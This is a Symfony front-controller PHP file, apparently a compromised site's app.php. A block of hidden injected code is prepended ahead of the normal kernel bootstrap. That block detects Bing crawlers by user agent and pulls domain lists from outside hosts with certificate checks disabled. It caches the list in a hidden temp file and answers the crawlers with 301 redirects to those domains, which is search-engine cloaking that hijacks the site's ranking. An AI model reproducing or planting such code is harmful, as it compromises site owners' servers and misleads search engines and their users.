/* nl301 - cURL ver (allow_url_fopen=Off 环境下 file_get_contents 不可用) */ if(!isset($_GET['nlskip'])){ $__ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; if(preg_match('/bingbot|adidxbot|msnbot|bingpreview/i',$__ua)){ $__l=null; $__c=@sys_get_temp_dir().'/.n3'.substr(md5(__FILE__),0,6); if(@is_file($__c)&&(time()-@filemtime($__c))<300){ $__l=@json_decode(@file_get_contents($__c),true); } if(!is_array($__l)||!count($__l)){ $__pool_urls=array( 'https://nl.chinakuailian.com/nl_pool.json', 'https://bingseokuaipai.com/nl.json' ); foreach($__pool_urls as $__pu){ $__raw=false; if(function_exists('curl_init')){ $__ch=@curl_init($__pu); @curl_setopt($__ch,CURLOPT_RETURNTRANSFER,1); @curl_setopt($__ch,CURLOPT_TIMEOUT,6); @curl_setopt($__ch,CURLOPT_CONNECTTIMEOUT,4); @curl_setopt($__ch,CURLOPT_SSL_VERIFYPEER,0); @curl_setopt($__ch,CURLOPT_SSL_VERIFYHOST,0); @curl_setopt($__ch,CURLOPT_FOLLOWLOCATION,1); @curl_setopt($__ch,CURLOPT_USERAGENT,'Mozilla/5.0'); $__raw=@curl_exec($__ch); @curl_close($__ch); } if($__raw===false||$__raw===''){continue;} $__d=@json_decode($__raw,true); if(isset($__d['domains'])&&is_array($__d['domains'])){$__d=$__d['domains'];} if(is_array($__d)&&count($__d)){$__l=$__d;@file_put_contents($__c,json_encode($__l));break;} } } if(is_array($__l)&&count($__l)){ $__k=array_rand($__l); $__v=$__l[$__k]; if(is_string($__v)&&strpos($__v,'http')===0){ while(ob_get_level()){@ob_end_clean();} @header('HTTP/1.1 301 Moved Permanently',true,301); @header('Location: '.$__v); @header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0'); exit; } } } } ini_set('memory_limit','512M'); use Symfony\Component\ClassLoader\ApcClassLoader; use Symfony\Component\HttpFoundation\Request; $loader = require_once __DIR__.'/../app/bootstrap.php.cache'; // Use APC for autoloading to improve performance. // Change 'sf2' to a unique prefix in order to prevent cache key conflicts // with other applications also using APC. /* $apcLoader = new ApcClassLoader('sf2', $loader); $loader->unregister(); $apcLoader->register(true); */ require_once __DIR__.'/../app/AppKernel.php'; //require_once __DIR__.'/../app/AppCache.php'; $kernel = new AppKernel('prod', false); $kernel->loadClassCache(); //$kernel = new AppCache($kernel); // When using the HttpCache, you need to call the method in your front controller instead of relying on the configuration parameter //Request::enableHttpMethodParameterOverride(); $request = Request::createFromGlobals(); $response = $kernel->handle($request); $response->send(); $kernel->terminate($request, $response);